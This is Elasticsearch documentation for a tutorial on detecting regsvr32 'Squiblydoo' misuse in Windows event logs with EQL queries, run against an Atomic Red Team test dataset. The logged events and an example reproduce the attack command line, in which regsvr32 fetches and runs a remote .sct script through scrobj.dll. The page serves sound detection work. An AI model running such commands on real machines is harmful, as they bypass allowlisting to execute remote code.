[role="xpack"] [testenv="basic"] [[eql-ex-threat-detection]] == Example: Detect threats with EQL experimental::[] This example tutorial shows you how you can use EQL to detect security threats and other suspicious behavior. In the scenario, you're tasked with detecting https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows event logs. `regsvr32.exe` is a built-in command-line utility used to register `.dll` libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status in Windows, letting it bypass most allowlist software and script blockers. Attackers with access to a user's command line can use `regsvr32.exe` to run malicious scripts using `.dll` libraries, even on machines that otherwise disallow such scripts. One common variant of regsvr32 misuse is a https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to register and run a remote script. These commands often look like this: [source,sh] ---- "regsvr32.exe /s /u /i: scrobj.dll" ---- [discrete] [[eql-ex-threat-detection-setup]] === Setup This tutorial uses a test dataset for regsvr32 misuse from https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has been normalized and mapped to use fields from the {ecs-ref}[Elastic Common Schema (ECS)], including the `@timestamp` and `event.category` fields. The dataset includes events that imitate behaviors of a Squiblydoo attack, as documented in the https://attack.mitre.org[MITRE ATT&CKĀ®] knowledge base. To get started, download and index the dataset: . Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset. . Index the data into `my-index-000001` with the following <> request: + [source,sh] ---- curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json" ---- // NOTCONSOLE . Use the <> to verify the data was successfully indexed. + [source,console] ---- GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count ---- // TEST[setup:atomic_red_regsvr32] + The API response should show a `docs.count` value of `150`, indicating 150 documents were indexed. + [source,txt] ---- health status index docs.count yellow open my-index-000001 150 ---- // TESTRESPONSE[non_json] [discrete] [[eql-ex-get-a-count-of-regsvr32-events]] === Get a count of regsvr32 events Since you're looking for regsvr32 misuse, start by getting a count of any events associated with a `regsvr32.exe` process. The following <> request uses an EQL query to retrieve a count of events with a `process.name` of `regsvr32.exe`. The query starts with the <>, meaning the query can match events of any <>. [source,console] ---- GET /my-index-000001/_eql/search?filter_path=-hits.events <1> { "query": """ any where process.name == "regsvr32.exe" <2> """, "size": 200 <3> } ---- // TEST[setup:atomic_red_regsvr32] <1> Uses the `?filter_path=-hits.events` query parameter to exclude the `hits.events` property from the response. The `hits.events` property contains the document source for any matching events. This request is intended to retrieve a count of events only. <2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`. <3> Returns up to 200 events or sequences matching the EQL query. The request returns the following response, indicating that 143 events match the query. [source,console-result] ---- { "is_partial": false, "is_running": false, "took": 60, "timed_out": false, "hits": { "total": { "value": 143, "relation": "eq" } } } ---- // TESTRESPONSE[s/"took": 60/"took": $body.took/] [discrete] [[eql-ex-check-for-command-line-artifacts]] === Check for command line artifacts Based on your previous query, you know regsvr32 processes were associated with 143 events. But how was `regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line utility so it may help to narrow your results to processes where the command line was used. Update the previous EQL query as follows: * Change the `any` keyword to `process`. This limits matches to events with an `event.category` of `process`. * Add the `and process.command_line.keyword != null` condition to match only events with a command line value. You'll also need to remove the `filter_path=-hits.events` query parameter. This lets you retrieve the document source for any matching events. [source,console] ---- GET /my-index-000001/_eql/search { "query": """ process where process.name == "regsvr32.exe" and process.command_line.keyword != null """ } ---- // TEST[setup:atomic_red_regsvr32] The query matches one process event. The event has an `event.type` of `creation`, indicating the start of a `regsvr32.exe` process. Based on the `process.command_line` value in the response, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a Squiblydoo attack. The response also includes other valuable information about how the `regsvr32.exe` process started, such as the `@timestamp`, the associated `user.id`, and the `process.parent.name`. [source,console-result] ---- { "is_partial": false, "is_running": false, "took": 21, "timed_out": false, "hits": { "total": { "value": 1, "relation": "eq" }, "events": [ { "_index": "my-index-000001", "_id": "gl5MJXMBMk1dGnErnBW8", "_source": { "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } } ] } } ---- // TESTRESPONSE[s/"took": 21/"took": $body.took/] // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/] [discrete] [[eql-ex-check-for-malicious-script-loads]] === Check for malicious script loads You now know that a `regsvr32.exe` process was used to register a potentially malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the `scrob.dll` library. Modify the previous EQL query as follows: * Change the `process` keyword to `library`. * Replace the `process.command_line.keyword != null` condition with `dll.name == "scrobj.dll`. [source,console] ---- GET /my-index-000001/_eql/search { "query": """ library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll" """ } ---- // TEST[setup:atomic_red_regsvr32] The query matches an event, confirming `scrobj.dll` was later loaded by `regsvr32.exe`. [source,console-result] ---- { "is_partial": false, "is_running": false, "took": 5, "timed_out": false, "hits": { "total": { "value": 1, "relation": "eq" }, "events": [ { "_index": "my-index-000001", "_id": "ol5MJXMBMk1dGnErnBW8", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573237450016, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "event": { "category": "library" } } } ] } } ---- // TESTRESPONSE[s/"took": 5/"took": $body.took/] // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/] [discrete] [[eql-ex-detemine-likelihood-of-sucess]] === Determine the likelihood of success In many cases, malicious scripts are used to connect to remote servers or download other files. If this occurred, the attack might have succeeded. Use an <> to check for the following series of events, in order: . A `regsvr32.exe` process, which could have been used to register malicious scripts as `scrobj.dll` . A load of the `scrobj.dll` library by the same process . Any network event by the same process, which could indicate the download of a remote file To match, each event in the sequence must share the same process ID, recorded in the `process.pid` field. Based on the command line value seen in the previous result, you can expect to find a match. However, the sequence query isn't designed for that specific command. Instead, it looks for a pattern of suspicious behavior while still being generic enough to detect similar threats in the future. [source,console] ---- GET /my-index-000001/_eql/search { "query": """ sequence by process.pid [process where process.name == "regsvr32.exe"] [library where dll.name == "scrobj.dll"] [network where true] """ } ---- // TEST[setup:atomic_red_regsvr32] The query matches a sequence, indicating the attack likely succeeded. [source,console-result] ---- { "is_partial": false, "is_running": false, "took": 25, "timed_out": false, "hits": { "total": { "value": 1, "relation": "eq" }, "sequences": [ { "join_keys": [ 2012 ], "events": [ { "_index": "my-index-000001", "_id": "gl5MJXMBMk1dGnErnBW8", "_source": { "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } }, { "_index": "my-index-000001", "_id": "ol5MJXMBMk1dGnErnBW8", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573237450016, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "event": { "category": "library" } } }, { "_index": "my-index-000001", "_id": "EF5MJXMBMk1dGnErnBa9", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573238680000, "destination": { "address": "151.101.48.133", "port": "443" }, "source": { "address": "192.168.162.134", "port": "50505" }, "event": { "category": "network" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" }, "network": { "protocol": "tcp", "direction": "outbound" } } } ] } ] } } ---- // TESTRESPONSE[s/"took": 25/"took": $body.took/] // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/] // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/] // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]